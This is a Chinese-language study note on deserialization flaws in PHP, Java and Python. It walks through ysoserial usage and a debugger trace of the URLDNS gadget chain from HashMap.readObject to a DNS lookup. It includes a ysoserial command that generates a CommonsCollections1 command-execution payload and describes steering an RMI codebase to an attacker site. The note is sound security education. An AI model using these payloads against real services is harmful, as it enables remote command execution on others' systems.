经过复现分析codebase任意命令执行,我们发现codebase是通过[Ljava.rmi.server.ObjID; 的 classAnnotations 传递的即使我们没有 RMI 的客户端,只需要修改 classAnnotations 的值,就能控制 codebase使其指向攻击者的恶意网站。至于ClassAnnotations实际是靠ObjectOutputStream中的annotateClass方法写入的内容,也就是说annotateClass 负责把 codebase 写进 classAnnotations。
反序列化
一门成熟的语言,如果需要在网上传递信息,通常会用到一些格式化数据,比如JSON、XML
JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端的JavaScript通过JSON和后端服务通信、微信服务器通过XML和公众号服务器通信。但这两个数据格式都有一个共同的问题:不支持复杂的数据类型
大多数处理方法中,JSON和XML支持的数据类型就是基本数据类型,整型、浮点型、字符串、布尔等,如果开发者希望在传输数据的时候直接传输一个对象,那么就不得不想办法扩展基础的JSON(XML)语法。比如Jackson和Fastjson这类序列化库,在JSON(XML)的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对线转换成一串二进制数据进行传输。
不管是Jackson、Fastjson还是编程语言内置的序列化方法,一旦涉及到序列化与反序列化数据,就可能会涉及到安全问题。”反序列化漏洞”是对一类漏洞的泛指,而不是转指某种反序列化方法导致的漏洞,比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。
反序列化方法的对比
Java反序列化与PHP反序列化
Java反序列化和PHP反序列化其实有点类似,他们都只能将一个对象的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。
但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法writeObject,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用readObject进行读取。
当然PHP中也提供了一个魔术方法叫__wakeup,在反序列化的时候进行触发。很多人会认为Java的readObject和PHP__wakeup类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异
readObejct倾向于解决”反序列化时如何还原一个完整对象”,而PHP的__wakeup更倾向于解决”反序列化后如何初始化这个对象”的问题。这个涉及理念的差别决定了为什么Java反序列化漏洞这么多的原因。
php反序列化
PHP的序列化时开发者不能参与的,开发者调用serialize函数后,序列化的数据就已经完成了,你得到的是一个完整对象,并不能在序列化数据流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中。也就是说PHP的序列化、反序列化是一个纯内部的过程,而其__sleep、__wakeup魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
一个非常典型的PHP序列化例子,就是含有资源类型的PHP类,如数据库连接:
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this ->password);
}
}
PHP中,资源类型的对象默认是不会写入序列化是数据中的。那么上述Connection类的$link属性在序列化后就是null,反序列化拿到的时候也是null。
那么,如果我想要反序列化时拿到的$link就是一个数据库连接,就需要__wakeup方法:
<?php
class Connection
{
protected $link;
private $dsn, $username, $password;
public function __construct($dsn, $username, $password)
{
$this->dsn = $dsn;
$this->username = $username;
$this->password = $password;
$this->connect();
}
private function connect()
{
$this->link = new PDO($this->dsn, $this->username, $this->password);
}
public function __sleep()
{
return array('dsn', 'username', 'password');
}
public function __wakeup()
{
$this->connect();
}
可见,这里__wakeup的工作就是在反序列化拿到Connection对象后,执行connect()函数,连接数据库。
__wakeup的作用在反序列化后,执行一些初始化操作。但其实我们很少利用反序列化数据传递资源类型的对象,而其他类型的对象,在反序列化的时候已经赋予其值了。PHP反序列化漏洞很少是由__wakeup这个方法触发的,通常触发在解析函数__destruct里。其实大部分PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。
Java反序列化
Java反序列化的操作,很多是需要开发者深入参与的,所以会发现大量的库会实现readObject、writeObject方法,这和PHP中__wakeup、__sleep很少使用是存在鲜明对比的。
RMI最后提到了classAnnotations中携带codebase信息。这里再来说说objectAnnotation。
Java在序列化一个对象时,将会调用这个对象的writeObject方法,参数类型是ObjectOutputSteam,开发者可以将任何内容写入这个Stream中;反序列化时,会调用readObject,开发者也可以从中读取出前面写入的内容,并进行处理。
举个例子,编写了一个Person类
package org.vulhub.Ser;
import java.io.IOException;
public class Person implements java.io.Serializable {
public String name;
public int age;
Person(String name, int age) {
this.name = name;
this.age = age;
}
private void writeObject(java.io.ObjectOutputStream s) throws
IOException {
s.defaultWriteObject();
s.writeObject("This is a object");
}
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
}
可见,这里执行完默认的s.defaultwriteObject()后,向stream里写入了字符串This is a object,利用SerializationDumper查看此时生成的序列化数据:

可见我们写入的字符串This is a object被放在objectAnnoation的位置。在反序列化时读取了这个字符串,并将其输出:

Java CC链中会用到HashMap,其就是将Map中的所有键、值都存储在objectAnnotation中,而并不是某个具体属性里
Python反序列化
Python反序列化与Java、PHP有一个显著的区别,python反序列化过程实际上是在执行一个基于栈的虚拟机。我们可以向栈上增、删对象,也可以执行一些命令,比如函数的执行等,甚至可以用这个虚拟机执行一个完整的应用程序。
所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。
从危害上来看,Python的反序列化危害是最大的;从应用广度上来看,Java的反序列化时最常被用到的;从反序列化原理上来看,PHP和Java时类似又不尽相同的。
ysoserial
ysoserial可以让用户根据自己选择的利用连,生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令。
什么是利用链?
利用链也叫”gadget chains”,我们通常称为gadget。gadget连接的是从触发位置开始到执行命令的位置结束,在PHP里可能是__destruct到eval;
ysoserial的使用也很简单,可以很容易生成gadget对应的POC
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"
如上,ysoserial大部分的gadget的参数就是一条命令,比如这里id。生成好的POC发送给目标,如果目标存在反序列化漏洞,并满足这个gadget对应的条件,则命令id将被执行。
Java项目调试
以https://github.com/frohoff/ysoserial为例,下载源码,然后用IDEA打开。如果这个项目里包含了pom.xml文件,说明这个是用maven打包的项目,这个时候IDEA会自动根据其中的配置下载依赖。如果依赖有问题可以手工点击菜单里的Files – Project Structure,然后配置Libraries

当然也可以使用maven的面板进行安装

依赖弄好了,需要干一个事情就是找整个项目里有哪些入口点(其实就是主类和main函数)。这个其实可以在maven的配置文件里找到,比如ysoserial的主类在这里配置的

maven-assembly-plugin就是一个用来打包项目的插件,可以把依赖、类文件什么的都打包在一起。这里的mainClass的值是ysoserial.GeneratePayload,自然就是主类。
根据这个配置打开文件src/main/java/ysoserial/GeneratePayload.java,就能看到main函数了

左边箭头,有debug可以进行调试

点击后会打印usage,因为这会没有加任何参数

打开Debug Configurations

修改Program arguments加上运行时的命令参数即可

在CC1这个gadget的代码里下个断点,成功断下,command的值是id

URLDNS
URLDNS就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作”利用链”。因为其参数不是一个可以”利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。
虽然这个”利用链”实际上是不能”利用”的,但因为其如下的优点,非常适合在检测反序列化漏洞时使用:
1.使用Java内置的类构造,对第三方库没有依赖
2.在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
打开https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java看看ysoserial是如何生成URLDNS代码的:
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
利用链分析
看到URLDNS类的getObject方法,ysoserial会调用这个方法获得Payload。这个方法返回的是一个对象,这个对象就是最后被序列化的对象,在这里是HashMap
触发反序列化的方法是readObject,因为Java开发者经常会在这里面写自己的逻辑,所以导致可以构造利用连
HashMap类的readObject方法
/**
* Reconstitute the {@code HashMap} instance from a stream (i.e.,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
在最后的位置可以看到HashMap的键名计算了hash:
putVal(hash(key), key, value, false, false);
为什么会关注hash函数?因为ysoserial的注释中很明确地说明了”During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”是hashCode的计算操作触发了DNS请求。在此处下断点,对这个hash函数进行调试并跟进,这是调用栈:

hash方法调用了key的hashcode方法():
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
回到URLDNS看这里的key是一个java.net.URL对象

我们看看其hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
handler是URLSteamHandler对象

继续跟进hashcode方法,这里有调用getHostAddrss方法

继续跟进getHostAddress方法

这里InetAddrsss.getByName(host)的作用是根据主机名,获取其IP地址,在网络上其实就是一次DNS查询。利用第三方反连平台就可以查询到这次请求,证明的确存在反序列化漏洞

至此,整个URLDNS的Gadget就比较清晰了
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLSteamHandler->hashCode()
5.URLSteamHandler->getHostAddress()
6.InetAddress->getByName()
要构造这个Gadget,只需要初始化一个java.net.URL对象,作为key放在java.util.HashMap中;然后设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发到后面的DNS请求,否则不会调用URL->hashCode()
再走一遍
反序列化前
构造HashMap对象,将URL作为key塞入

–>hashMap.put()

–>hashMap.hash()

–>URL.hashCode(),这里出现了一个关键分歧点只有当hashCode=-1的时候才能走后续的DNS查询,目前hashCode并未进行设置所以!=-1返回了hashCode

关键点设置hashCode=-1

反序列化时

HashMap重写了readObject,所以反序列化的时候走HashMap里的readObject
–> putVal()

–> hash()

–> URL.hashCode(),此时hashCode=-1

–> URLStreamHandler.hashCode()

–> getHostAddress()

–> InetAddress.getByName(),最终进行DNS查询











